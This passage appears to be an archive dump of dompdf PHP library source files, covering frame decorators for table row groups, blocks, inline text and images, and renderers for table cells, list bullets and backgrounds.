                $this->split_text($charMapping[0]["length"], false);
            }
            $mapped_font = $charMapping[0]["font"];
            if ($mapped_font !== null) {
                $style->set_used("font_family", $mapped_font);
                $this->mapped_font = $mapped_font;
            }
        }
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/TableRowGroup.php000066600000003777151150443010017530 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Dompdf;
use Dompdf\Frame;

/**
 * Table row group decorator
 *
 * Overrides split() method for tbody, thead & tfoot elements
 *
 * @package dompdf
 */
class TableRowGroup extends AbstractFrameDecorator
{

    /**
     * Class constructor
     *
     * @param Frame $frame   Frame to decorate
     * @param Dompdf $dompdf Current dompdf instance
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        parent::__construct($frame, $dompdf);
    }

    /**
     * Split the row group at the given child and remove all subsequent child
     * rows and all subsequent row groups from the cellmap.
     */
    public function split(?Frame $child = null, bool $page_break = false, bool $forced = false): void
    {
        if (is_null($child)) {
            parent::split($child, $page_break, $forced);
            return;
        }

        // Remove child & all subsequent rows from the cellmap
        /** @var Table $parent */
        $parent = $this->get_parent();
        $cellmap = $parent->get_cellmap();
        $iter = $child;

        while ($iter) {
            $cellmap->remove_row($iter);
            $iter = $iter->get_next_sibling();
        }

        // Remove all subsequent row groups from the cellmap
        $iter = $this->get_next_sibling();

        while ($iter) {
            $cellmap->remove_row_group($iter);
            $iter = $iter->get_next_sibling();
        }

        // If we are splitting at the first child remove the
        // table-row-group from the cellmap as well
        if ($child === $this->get_first_child()) {
            $cellmap->remove_row_group($this);
            parent::split(null, $page_break, $forced);
            return;
        }

        $cellmap->update_row_group($this, $child->get_prev_sibling());
        parent::split($child, $page_break, $forced);
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/Block.php000066600000013754151150443010016022 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Dompdf;
use Dompdf\Frame;
use Dompdf\LineBox;

/**
 * Decorates frames for block layout
 *
 * @package dompdf
 */
class Block extends AbstractFrameDecorator
{
    /**
     * Current line index
     *
     * @var int
     */
    protected $_cl;

    /**
     * The block's line boxes
     *
     * @var LineBox[]
     */
    protected $_line_boxes;

    /**
     * List of markers that have not found their line box to vertically align
     * with yet. Markers are collected by nested block containers until an
     * inline line box is found at the start of the block.
     *
     * @var ListBullet[]
     */
    protected $dangling_markers;

    /**
     * Block constructor.
     * @param Frame $frame
     * @param Dompdf $dompdf
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        parent::__construct($frame, $dompdf);

        $this->_line_boxes = [new LineBox($this)];
        $this->_cl = 0;
        $this->dangling_markers = [];
    }

    function reset()
    {
        parent::reset();

        $this->_line_boxes = [new LineBox($this)];
        $this->_cl = 0;
        $this->dangling_markers = [];
    }

    /**
     * @return LineBox
     */
    function get_current_line_box()
    {
        return $this->_line_boxes[$this->_cl];
    }

    /**
     * @return int
     */
    function get_current_line_number()
    {
        return $this->_cl;
    }

    /**
     * @return LineBox[]
     */
    function get_line_boxes()
    {
        return $this->_line_boxes;
    }

    /**
     * @param int $line_number
     * @return int
     */
    function set_current_line_number($line_number)
    {
        $line_boxes_count = count($this->_line_boxes);
        $cl = max(min($line_number, $line_boxes_count), 0);
        return ($this->_cl = $cl);
    }

    /**
     * @param int $i
     */
    function clear_line($i)
    {
        if (isset($this->_line_boxes[$i])) {
            unset($this->_line_boxes[$i]);
        }
    }

    /**
     * @param Frame $frame
     * @return LineBox|null
     */
    public function add_frame_to_line(Frame $frame): ?LineBox
    {
        $current_line = $this->_line_boxes[$this->_cl];
        $frame->set_containing_line($current_line);

        // Inline frames are currently treated as wrappers, and are not actually
        // added to the line
        if ($frame instanceof Inline) {
            return null;
        }

        $current_line->add_frame($frame);

        $this->increase_line_width($frame->get_margin_width());
        $this->maximize_line_height($frame->get_margin_height(), $frame);

        // Add any dangling list markers to the first line box if it is inline
        if ($this->_cl === 0 && $current_line->inline
            && $this->dangling_markers !== []
        ) {
            foreach ($this->dangling_markers as $marker) {
                $current_line->add_list_marker($marker);
                $this->maximize_line_height($marker->get_margin_height(), $marker);
            }

            $this->dangling_markers = [];
        }

        return $current_line;
    }

    /**
     * Remove the given frame and all following frames and lines from the block.
     *
     * @param Frame $frame
     */
    public function remove_frames_from_line(Frame $frame): void
    {
        // Inline frames are not added to line boxes themselves, only their
        // text frame children
        $actualFrame = $frame;
        while ($actualFrame !== null && $actualFrame instanceof Inline) {
            $actualFrame = $actualFrame->get_first_child();
        }

        if ($actualFrame === null) {
            return;
        }

        // Search backwards through the lines for $frame
        $frame = $actualFrame;
        $i = $this->_cl;
        $j = null;

        while ($i >= 0) {
            $line = $this->_line_boxes[$i];
            foreach ($line->get_frames() as $index => $f) {
                if ($frame === $f) {
                    $j = $index;
                    break 2;
                }
            }
            $i--;
        }

        if ($j === null) {
            return;
        }

        // Remove all lines that follow
        for ($k = $this->_cl; $k > $i; $k--) {
            unset($this->_line_boxes[$k]);
        }

        // Remove the line, if it is empty
        if ($j > 0) {
            $line->remove_frames($j);
        } else {
            unset($this->_line_boxes[$i]);
        }

        // Reset array indices
        $this->_line_boxes = array_values($this->_line_boxes);
        $this->_cl = count($this->_line_boxes) - 1;
    }

    /**
     * @param float $w
     */
    public function increase_line_width(float $w): void
    {
        $this->_line_boxes[$this->_cl]->w += $w;
    }

    /**
     * @param float $val
     * @param Frame $frame
     */
    public function maximize_line_height(float $val, Frame $frame): void
    {
        if ($val > $this->_line_boxes[$this->_cl]->h) {
            $this->_line_boxes[$this->_cl]->tallest_frame = $frame;
            $this->_line_boxes[$this->_cl]->h = $val;
        }
    }

    /**
     * @param bool $br
     */
    public function add_line(bool $br = false): void
    {
        $line = $this->_line_boxes[$this->_cl];

        $line->br = $br;
        $y = $line->y + $line->h;

        $new_line = new LineBox($this, $y);

        $this->_line_boxes[++$this->_cl] = $new_line;
    }

    /**
     * @param ListBullet $marker
     */
    public function add_dangling_marker(ListBullet $marker): void
    {
        $this->dangling_markers[] = $marker;
    }

    /**
     * Inherit any dangling markers from the parent block.
     *
     * @param Block $block
     */
    public function inherit_dangling_markers(self $block): void
    {
        if ($block->dangling_markers !== []) {
            $this->dangling_markers = $block->dangling_markers;
            $block->dangling_markers = [];
        }
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/NullFrameDecorator.php000066600000001326151150443010020510 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Dompdf;
use Dompdf\Frame;

/**
 * Dummy decorator
 *
 * @package dompdf
 */
class NullFrameDecorator extends AbstractFrameDecorator
{
    /**
     * NullFrameDecorator constructor.
     * @param Frame $frame
     * @param Dompdf $dompdf
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        parent::__construct($frame, $dompdf);
        $style = $this->_frame->get_style();
        $style->width = 0;
        $style->height = 0;
        $style->margin = 0;
        $style->padding = 0;
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/Inline.php000066600000007363151150443010016205 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Dompdf;
use Dompdf\Frame;
use Dompdf\Exception;

/**
 * Decorates frames for inline layout
 *
 * @package dompdf
 */
class Inline extends AbstractFrameDecorator
{

    /**
     * Inline constructor.
     * @param Frame $frame
     * @param Dompdf $dompdf
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        parent::__construct($frame, $dompdf);
    }

    /**
     * Vertical padding, border, and margin do not apply when determining the
     * height for inline frames.
     *
     * http://www.w3.org/TR/CSS21/visudet.html#inline-non-replaced
     *
     * The vertical padding, border and margin of an inline, non-replaced box
     * start at the top and bottom of the content area, not the
     * 'line-height'. But only the 'line-height' is used to calculate the
     * height of the line box.
     *
     * @return float
     */
    public function get_margin_height(): float
    {
        $style = $this->get_style();
        $font = $style->font_family;
        $size = $style->font_size;
        $fontHeight = $this->_dompdf->getFontMetrics()->getFontHeight($font, $size);

        return ($style->line_height / ($size > 0 ? $size : 1)) * $fontHeight;
    }

    public function split(?Frame $child = null, bool $page_break = false, bool $forced = false): void
    {
        if (is_null($child)) {
            $this->get_parent()->split($this, $page_break, $forced);
            return;
        }

        if ($child->get_parent() !== $this) {
            throw new Exception("Unable to split: frame is not a child of this one.");
        }

        $this->revert_counter_increment();
        $node = $this->_frame->get_node();
        $split = $this->copy($node->cloneNode());

        $style = $this->_frame->get_style();
        $split_style = $split->get_style();

        // Unset the current node's right style properties
        $style->margin_right = 0.0;
        $style->padding_right = 0.0;
        $style->border_right_width = 0.0;
        $style->border_top_right_radius = 0.0;
        $style->border_bottom_right_radius = 0.0;

        // Unset the split node's left style properties since we don't want them
        // to propagate
        $split_style->margin_left = 0.0;
        $split_style->padding_left = 0.0;
        $split_style->border_left_width = 0.0;
        $split_style->border_top_left_radius = 0.0;
        $split_style->border_bottom_left_radius = 0.0;

        // If this is a generated node don't propagate the content style
        if ($split->get_node()->nodeName == "dompdf_generated") {
            $split_style->content = "normal";
        }

        //On continuation of inline element on next line,
        //don't repeat non-horizontally repeatable background images
        //See e.g. in testcase image_variants, long descriptions
        if (($url = $style->background_image) && $url !== "none"
            && ($repeat = $style->background_repeat) && $repeat !== "repeat" && $repeat !== "repeat-x"
        ) {
            $split_style->background_image = "none";
        }

        $this->get_parent()->insert_child_after($split, $this);

        // Add $child and all following siblings to the new split node
        $iter = $child;
        while ($iter) {
            $frame = $iter;
            $iter = $iter->get_next_sibling();
            $frame->reset();
            $split->append_child($frame);
        }

        $parent = $this->get_parent();

        if ($page_break) {
            $parent->split($split, $page_break, $forced);
        } elseif ($parent instanceof Inline) {
            $parent->split($split);
        }
    }

}
vendor/dompdf/dompdf/src/FrameDecorator/Image.php000066600000005752151150443010016011 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Dompdf;
use Dompdf\Frame;
use Dompdf\Helpers;
use Dompdf\Image\Cache;

/**
 * Decorates frames for image layout and rendering
 *
 * @package dompdf
 */
class Image extends AbstractFrameDecorator
{

    /**
     * The path to the image file (note that remote images are
     * downloaded locally to Options:tempDir).
     *
     * @var string
     */
    protected $_image_url;

    /**
     * The image's file error message
     *
     * @var string
     */
    protected $_image_msg;

    /**
     * Class constructor
     *
     * @param Frame $frame the frame to decorate
     * @param DOMPDF $dompdf the document's dompdf object (required to resolve relative & remote urls)
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        parent::__construct($frame, $dompdf);

        $node = $frame->get_node();
        $url = $node->getAttribute("src");

        $debug_png = $dompdf->getOptions()->getDebugPng();
        if ($debug_png) {
            print '[__construct ' . $url . ']';
        }

        list($this->_image_url, /*$type*/, $this->_image_msg) = Cache::resolve_url(
            $url,
            $dompdf->getProtocol(),
            $dompdf->getBaseHost(),
            $dompdf->getBasePath(),
            $dompdf->getOptions()
        );

        if (Cache::is_broken($this->_image_url) && ($alt = $node->getAttribute("alt")) !== "") {
            $fontMetrics = $dompdf->getFontMetrics();
            $style = $frame->get_style();
            $font = $style->font_family;
            $size = $style->font_size;
            $word_spacing = $style->word_spacing;
            $letter_spacing = $style->letter_spacing;

            $style->width = $fontMetrics->getTextWidth($alt, $font, $size, $word_spacing, $letter_spacing);
            $style->height = $fontMetrics->getFontHeight($font, $size);
        }
    }

    /**
     * Get the intrinsic pixel dimensions of the image.
     *
     * @return array Width and height as `float|int`.
     */
    public function get_intrinsic_dimensions(): array
    {
        [$width, $height] = Helpers::dompdf_getimagesize($this->_image_url, $this->_dompdf->getHttpContext());

        return [$width, $height];
    }

    /**
     * Resample the given pixel length according to dpi.
     *
     * @param float|int $length
     * @return float
     */
    public function resample($length): float
    {
        $dpi = $this->_dompdf->getOptions()->getDpi();
        return ($length * 72) / $dpi;
    }

    /**
     * Return the image's url
     *
     * @return string The url of this image
     */
    function get_image_url()
    {
        return $this->_image_url;
    }

    /**
     * Return the image's error message
     *
     * @return string The image's error message
     */
    function get_image_msg()
    {
        return $this->_image_msg;
    }

}
vendor/dompdf/dompdf/src/Renderer/TableCell.php000066600000014533151150443010015464 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Renderer;

use Dompdf\Exception;
use Dompdf\Frame;
use Dompdf\FrameDecorator\Table;

/**
 * Renders table cells
 *
 * @package dompdf
 */
class TableCell extends Block
{
    /**
     * @param Frame $frame
     */
    function render(Frame $frame)
    {
        $style = $frame->get_style();
        $node = $frame->get_node();

        if (trim($node->nodeValue) === "" && $style->empty_cells === "hide") {
            return;
        }

        $this->_set_opacity($frame->get_opacity($style->opacity));

        $border_box = $frame->get_border_box();
        $table = Table::find_parent_table($frame);
        if ($table === null) {
            throw new Exception("Parent table not found for table cell");
        }

        if ($table->get_style()->border_collapse !== "collapse") {
            $this->_render_background($frame, $border_box);
            $this->_render_border($frame, $border_box);
            $this->_render_outline($frame, $border_box);
        } else {
            // The collapsed case is slightly complicated...

            $cells = $table->get_cellmap()->get_spanned_cells($frame);

            if (is_null($cells)) {
                return;
            }

            // Render the background to the padding box, as the cells are
            // rendered individually one after another, and we don't want the
            // background to overlap an adjacent border
            $padding_box = $frame->get_padding_box();

            $this->_render_background($frame, $padding_box);
            $this->_render_collapsed_border($frame, $table);

            // FIXME: Outline should be drawn over other cells
            $this->_render_outline($frame, $border_box);
        }

        $this->addNamedDest($node);
        $this->addHyperlink($node, $border_box);
        $this->debugBlockLayout($frame, "red", false);
    }

    /**
     * @param Frame $frame
     * @param Table $table
     */
    protected function _render_collapsed_border(Frame $frame, Table $table): void
    {
        $cellmap = $table->get_cellmap();
        $cells = $cellmap->get_spanned_cells($frame);
        $num_rows = $cellmap->get_num_rows();
        $num_cols = $cellmap->get_num_cols();

        [$table_x, $table_y] = $table->get_position();

        // Determine the top row spanned by this cell
        $i = $cells["rows"][0];
        $top_row = $cellmap->get_row($i);

        // Determine if this cell borders on the bottom of the table.  If so,
        // then we draw its bottom border.  Otherwise the next row down will
        // draw its top border instead.
        if (in_array($num_rows - 1, $cells["rows"])) {
            $draw_bottom = true;
            $bottom_row = $cellmap->get_row($num_rows - 1);
        } else {
            $draw_bottom = false;
        }

        // Draw the horizontal borders
        foreach ($cells["columns"] as $j) {
            $bp = $cellmap->get_border_properties($i, $j);
            $col = $cellmap->get_column($j);

            $x = $table_x + $col["x"] - $bp["left"]["width"] / 2;
            $y = $table_y + $top_row["y"] - $bp["top"]["width"] / 2;
            $w = $col["used-width"] + ($bp["left"]["width"] + $bp["right"]["width"]) / 2;

            if ($bp["top"]["width"] > 0) {
                $widths = [
                    (float)$bp["top"]["width"],
                    (float)$bp["right"]["width"],
                    (float)$bp["bottom"]["width"],
                    (float)$bp["left"]["width"]
                ];

                $method = "_border_" . $bp["top"]["style"];
                $this->$method($x, $y, $w, $bp["top"]["color"], $widths, "top", "square");
            }

            if ($draw_bottom) {
                $bp = $cellmap->get_border_properties($num_rows - 1, $j);
                if ($bp["bottom"]["width"] <= 0) {
                    continue;
                }
                
                $widths = [
                    (float)$bp["top"]["width"],
                    (float)$bp["right"]["width"],
                    (float)$bp["bottom"]["width"],
                    (float)$bp["left"]["width"]
                ];

                $y = $table_y + $bottom_row["y"] + $bottom_row["height"] + $bp["bottom"]["width"] / 2;

                $method = "_border_" . $bp["bottom"]["style"];
                $this->$method($x, $y, $w, $bp["bottom"]["color"], $widths, "bottom", "square");
            }
        }

        $j = $cells["columns"][0];
        $left_col = $cellmap->get_column($j);

        if (in_array($num_cols - 1, $cells["columns"])) {
            $draw_right = true;
            $right_col = $cellmap->get_column($num_cols - 1);
        } else {
            $draw_right = false;
        }

        // Draw the vertical borders
        foreach ($cells["rows"] as $i) {
            $bp = $cellmap->get_border_properties($i, $j);
            $row = $cellmap->get_row($i);

            $x = $table_x + $left_col["x"] - $bp["left"]["width"] / 2;
            $y = $table_y + $row["y"] - $bp["top"]["width"] / 2;
            $h = $row["height"] + ($bp["top"]["width"] + $bp["bottom"]["width"]) / 2;

            if ($bp["left"]["width"] > 0) {
                $widths = [
                    (float)$bp["top"]["width"],
                    (float)$bp["right"]["width"],
                    (float)$bp["bottom"]["width"],
                    (float)$bp["left"]["width"]
                ];

                $method = "_border_" . $bp["left"]["style"];
                $this->$method($x, $y, $h, $bp["left"]["color"], $widths, "left", "square");
            }

            if ($draw_right) {
                $bp = $cellmap->get_border_properties($i, $num_cols - 1);
                if ($bp["right"]["width"] <= 0) {
                    continue;
                }

                $widths = [
                    (float)$bp["top"]["width"],
                    (float)$bp["right"]["width"],
                    (float)$bp["bottom"]["width"],
                    (float)$bp["left"]["width"]
                ];

                $x = $table_x + $right_col["x"] + $right_col["used-width"] + $bp["right"]["width"] / 2;

                $method = "_border_" . $bp["right"]["style"];
                $this->$method($x, $y, $h, $bp["right"]["color"], $widths, "right", "square");
            }
        }
    }
}
vendor/dompdf/dompdf/src/Renderer/ListBullet.php000066600000014651151150443010015721 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Renderer;

use Dompdf\Helpers;
use Dompdf\Frame;
use Dompdf\FrameDecorator\ListBullet as ListBulletFrameDecorator;
use Dompdf\FrameDecorator\ListBulletImage;
use Dompdf\Image\Cache;

/**
 * Renders list bullets
 *
 * @package dompdf
 */
class ListBullet extends AbstractRenderer
{
    /**
     * @param $type
     * @return mixed|string
     * @deprecated
     */
    static function get_counter_chars($type)
    {
        static $cache = [];

        if (isset($cache[$type])) {
            return $cache[$type];
        }

        $uppercase = false;
        $text = "";

        switch ($type) {
            default:
            case "decimal":
            case "decimal-leading-zero":
                return "0123456789";

            case "upper-alpha":
            case "upper-latin":
                $uppercase = true;
            case "lower-alpha":
            case "lower-latin":
                $text = "abcdefghijklmnopqrstuvwxyz";
                break;

            case "upper-roman":
                $uppercase = true;
            case "lower-roman":
                $text = "ivxlcdm";
                break;

            case "lower-greek":
                for ($i = 0; $i < 24; $i++) {
                    $text .= Helpers::unichr($i + 944);
                }
                break;
        }

        if ($uppercase) {
            $text = strtoupper($text);
        }

        return $cache[$type] = "$text.";
    }

    /**
     * @param int      $n
     * @param string   $type
     * @param int|null $pad
     *
     * @return string
     */
    private function make_counter(int $n, string $type, ?int $pad = null): string
    {
        $text = "";

        switch ($type) {
            default:
            case "decimal":
            case "decimal-leading-zero":
                if ($pad) {
                    $text = str_pad($n, $pad, "0", STR_PAD_LEFT);
                } else {
                    $text = $n;
                }
                break;

            case "upper-alpha":
            case "upper-latin":
                $text = chr((($n - 1) % 26) + ord('A'));
                break;

            case "lower-alpha":
            case "lower-latin":
                $text = chr((($n - 1) % 26) + ord('a'));
                break;

            case "upper-roman":
                $text = strtoupper(Helpers::dec2roman($n));
                break;

            case "lower-roman":
                $text = Helpers::dec2roman($n);
                break;

            case "lower-greek":
                $text = Helpers::unichr($n + 944);
                break;
        }

        return "$text.";
    }

    /**
     * @param ListBulletFrameDecorator $frame
     */
    function render(Frame $frame)
    {
        $li = $frame->get_parent();
        $style = $frame->get_style();

        $this->_set_opacity($frame->get_opacity($style->opacity));

        // Don't render bullets twice if the list item was split
        if ($li->is_split_off) {
            return;
        }

        $font_family = $style->font_family;
        $font_size = $style->font_size;
        $baseline = $this->_canvas->get_font_baseline($font_family, $font_size);

        // Handle list-style-image
        // If list style image is requested but missing, fall back to predefined types
        if ($frame instanceof ListBulletImage && !Cache::is_broken($img = $frame->get_image_url())) {
            [$x, $y] = $frame->get_position();
            $w = $frame->get_width();
            $h = $frame->get_height();
            $y += $baseline - $h;

            $this->_canvas->image($img, $x, $y, $w, $h);
        } else {
            $bullet_style = $style->list_style_type;

            switch ($bullet_style) {
                case "disc":
                case "circle":
                    [$x, $y] = $frame->get_position();
                    $offset = $font_size * ListBulletFrameDecorator::BULLET_OFFSET;
                    $r = ($font_size * ListBulletFrameDecorator::BULLET_SIZE) / 2;
                    $x += $r;
                    $y += $baseline - $r - $offset;
                    $o = $font_size * ListBulletFrameDecorator::BULLET_THICKNESS;
                    $this->_canvas->circle($x, $y, $r, $style->color, $o, null, $bullet_style !== "circle");
                    break;

                case "square":
                    [$x, $y] = $frame->get_position();
                    $offset = $font_size * ListBulletFrameDecorator::BULLET_OFFSET;
                    $w = $font_size * ListBulletFrameDecorator::BULLET_SIZE;
                    $y += $baseline - $w - $offset;
                    $this->_canvas->filled_rectangle($x, $y, $w, $w, $style->color);
                    break;

                default:
                case "decimal":
                case "decimal-leading-zero":
                case "lower-alpha":
                case "lower-latin":
                case "lower-roman":
                case "lower-greek":
                case "upper-alpha":
                case "upper-latin":
                case "upper-roman":
                    $pad = null;
                    if ($bullet_style === "decimal-leading-zero") {
                        $pad = strlen($li->get_parent()->get_node()->getAttribute("dompdf-children-count"));
                    }

                    $node = $frame->get_node();

                    if (!$node->hasAttribute("dompdf-counter")) {
                        return;
                    }

                    $index = (int) $node->getAttribute("dompdf-counter");
                    $text = $this->make_counter($index, $bullet_style, $pad);

                    $word_spacing = $style->word_spacing;
                    $letter_spacing = $style->letter_spacing;
                    $text_width = $this->_dompdf->getFontMetrics()->getTextWidth($text, $font_family, $font_size, $word_spacing, $letter_spacing);

                    [$x, $y] = $frame->get_position();
                    // Correct for static frame width applied by positioner
                    $x += $frame->get_width() - $text_width;

                    $this->_canvas->text($x, $y, $text,
                        $font_family, $font_size,
                        $style->color, $word_spacing, $letter_spacing);
                    break;

                case "none":
                    break;
            }
        }
    }
}
vendor/dompdf/dompdf/src/Renderer/AbstractRenderer.php000066600000124035151150443010017066 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Renderer;

use DOMElement;
use Dompdf\Adapter\CPDF;
use Dompdf\Css\Color;
use Dompdf\Css\Style;
use Dompdf\Dompdf;
use Dompdf\Frame;
use Dompdf\Helpers;
use Dompdf\Image\Cache;

/**
 * Base renderer class
 *
 * @package dompdf
 */
abstract class AbstractRenderer
{

    /**
     * Rendering backend
     *
     * @var \Dompdf\Canvas
     */
    protected $_canvas;

    /**
     * Current dompdf instance
     *
     * @var Dompdf
     */
    protected $_dompdf;

    /**
     * Class constructor
     *
     * @param Dompdf $dompdf The current dompdf instance
     */
    function __construct(Dompdf $dompdf)
    {
        $this->_dompdf = $dompdf;
        $this->_canvas = $dompdf->getCanvas();
    }

    /**
     * Render a frame.
     *
     * Specialized in child classes
     *
     * @param Frame $frame The frame to render
     */
    abstract function render(Frame $frame);

    /**
     * @param Frame   $frame
     * @param float[] $border_box
     */
    protected function _render_background(Frame $frame, array $border_box): void
    {
        $style = $frame->get_style();
        $color = $style->background_color;
        $image = $style->background_image;
        [$x, $y, $w, $h] = $border_box;

        if ($color === "transparent" && $image === "none") {
            return;
        }

        if ($style->has_border_radius()) {
            [$tl, $tr, $br, $bl] = $style->resolve_border_radius($border_box);
            $this->_canvas->clipping_roundrectangle($x, $y, $w, $h, $tl, $tr, $br, $bl);
        }

        if ($color !== "transparent") {
            $this->_canvas->filled_rectangle($x, $y, $w, $h, $color);
        }

        if ($image !== "none") {
            $this->_background_image($image, $x, $y, $w, $h, $style);
        }

        if ($style->has_border_radius()) {
            $this->_canvas->clipping_end();
        }
    }

    /**
     * @param Frame   $frame
     * @param float[] $border_box
     * @param string  $corner_style
     */
    protected function _render_border(Frame $frame, array $border_box, string $corner_style = "bevel"): void
    {
        $style = $frame->get_style();
        $bp = $style->get_border_properties();
        [$x, $y, $w, $h] = $border_box;
        [$tl, $tr, $br, $bl] = $style->resolve_border_radius($border_box);

        // Short-cut: If all the borders are "solid" with the same color and
        // style, and no radius, we'd better draw a rectangle
        if ($bp["top"]["style"] === "solid" &&
            $bp["top"] === $bp["right"] &&
            $bp["right"] === $bp["bottom"] &&
            $bp["bottom"] === $bp["left"] &&
            !$style->has_border_radius()
        ) {
            $props = $bp["top"];
            if ($props["color"] === "transparent" || $props["width"] <= 0) {
                return;
            }

            $width = (float)$style->length_in_pt($props["width"]);
            $this->_canvas->rectangle($x + $width / 2, $y + $width / 2, $w - $width, $h - $width, $props["color"], $width);
            return;
        }

        // Do it the long way
        $widths = [
            (float)$style->length_in_pt($bp["top"]["width"]),
            (float)$style->length_in_pt($bp["right"]["width"]),
            (float)$style->length_in_pt($bp["bottom"]["width"]),
            (float)$style->length_in_pt($bp["left"]["width"])
        ];

        foreach ($bp as $side => $props) {
            if ($props["style"] === "none" ||
                $props["style"] === "hidden" ||
                $props["color"] === "transparent" ||
                $props["width"] <= 0
            ) {
                continue;
            }

            [$x, $y, $w, $h] = $border_box;
            $method = "_border_" . $props["style"];

            switch ($side) {
                case "top":
                    $length = $w;
                    $r1 = $tl;
                    $r2 = $tr;
                    break;

                case "bottom":
                    $length = $w;
                    $y += $h;
                    $r1 = $bl;
                    $r2 = $br;
                    break;

                case "left":
                    $length = $h;
                    $r1 = $tl;
                    $r2 = $bl;
                    break;

                case "right":
                    $length = $h;
                    $x += $w;
                    $r1 = $tr;
                    $r2 = $br;
                    break;

                default:
                    break;
            }

            // draw rounded corners
            $this->$method($x, $y, $length, $props["color"], $widths, $side, $corner_style, $r1, $r2);
        }
    }

    /**
     * @param Frame   $frame
     * @param float[] $border_box
     * @param string  $corner_style
     */
    protected function _render_outline(Frame $frame, array $border_box, string $corner_style = "bevel"): void
    {
        $style = $frame->get_style();

        $width = $style->outline_width;
        $outline_style = $style->outline_style;
        $color = $style->outline_color;

        if ($outline_style === "none" || $color === "transparent" || $width <= 0) {
            return;
        }

        $offset = $style->outline_offset;

        [$x, $y, $w, $h] = $border_box;
        $d = $width + $offset;
        $outline_box = [$x - $d, $y - $d, $w + $d * 2, $h + $d * 2];
        [$tl, $tr, $br, $bl] = $style->resolve_border_radius($border_box, $outline_box);

        $x -= $offset;
        $y -= $offset;
        $w += $offset * 2;
        $h += $offset * 2;

        // For a simple outline, we can draw a rectangle
        if ($outline_style === "solid" && !$style->has_border_radius()) {
            $x -= $width / 2;
            $y -= $width / 2;
            $w += $width;
            $h += $width;

            $this->_canvas->rectangle($x, $y, $w, $h, $color, $width);
            return;
        }

        $x -= $width;
        $y -= $width;
        $w += $width * 2;
        $h += $width * 2;

        $method = "_border_" . $outline_style;
        $widths = array_fill(0, 4, $width);
        $sides = ["top", "right", "left", "bottom"];

        foreach ($sides as $side) {
            switch ($side) {
                case "top":
                    $length = $w;
                    $side_x = $x;
                    $side_y = $y;
                    $r1 = $tl;
                    $r2 = $tr;
                    break;

                case "bottom":
                    $length = $w;
                    $side_x = $x;
                    $side_y = $y + $h;
                    $r1 = $bl;
                    $r2 = $br;
                    break;

                case "left":
                    $length = $h;
                    $side_x = $x;
                    $side_y = $y;
                    $r1 = $tl;
                    $r2 = $bl;
                    break;

                case "right":
                    $length = $h;
                    $side_x = $x + $w;
                    $side_y = $y;
                    $r1 = $tr;
                    $r2 = $br;
                    break;

                default:
                    break;
            }

            $this->$method($side_x, $side_y, $length, $color, $widths, $side, $corner_style, $r1, $r2);
        }
    }

    /**
     * Render a background image over a rectangular area
     *
     * @param string $url    The background image to load
     * @param float  $x      The left edge of the rectangular area
     * @param float  $y      The top edge of the rectangular area
     * @param float  $width  The width of the rectangular area
     * @param float  $height The height of the rectangular area
     * @param Style  $style  The associated Style object
     *
     * @throws \Exception
     */
    protected function _background_image(string $url, float $x, float $y, float $width, float $height, Style $style): void
    {
        if (!function_exists("imagecreatetruecolor")) {
            throw new \Exception("The PHP GD extension is required, but is not installed.");
        }

        $sheet = $style->get_stylesheet();

        // Skip degenerate cases
        if ($width == 0 || $height == 0) {
            return;
        }

        $box_width = $width;
        $box_height = $height;

        //debugpng
        if ($this->_dompdf->getOptions()->getDebugPng()) {
            print '[_background_image ' . $url . ']';
        }

        list($img, $type, /*$msg*/) = Cache::resolve_url(
            $url,
            $sheet->get_protocol(),
            $sheet->get_host(),
            $sheet->get_base_path(),
            $this->_dompdf->getOptions()
        );

        // Bail if the image is no good
        if (Cache::is_broken($img)) {
            return;
        }

        //Try to optimize away reading and composing of same background multiple times
        //Postponing read with imagecreatefrom   ...()
        //final composition parameters and name not known yet
        //Therefore read dimension directly from file, instead of creating gd object first.
        //$img_w = imagesx($src); $img_h = imagesy($src);

        list($img_w, $img_h) = Helpers::dompdf_getimagesize($img, $this->_dompdf->getHttpContext());
        if ($img_w == 0 || $img_h == 0) {
            return;
        }

        // save for later check if file needs to be resized.
        $org_img_w = $img_w;
        $org_img_h = $img_h;

        $repeat = $style->background_repeat;
        $dpi = $this->_dompdf->getOptions()->getDpi();

        //Increase background resolution and dependent box size according to image resolution to be placed in
        //Then image can be copied in without resize
        $bg_width = round((float)($width * $dpi) / 72);
        $bg_height = round((float)($height * $dpi) / 72);

        list($img_w, $img_h) = $this->_resize_background_image(
            $img_w,
            $img_h,
            $bg_width,
            $bg_height,
            $style->background_size,
            $dpi
        );
        //Need %bg_x, $bg_y as background pos, where img starts, converted to pixel

        list($bg_x, $bg_y) = $style->background_position;

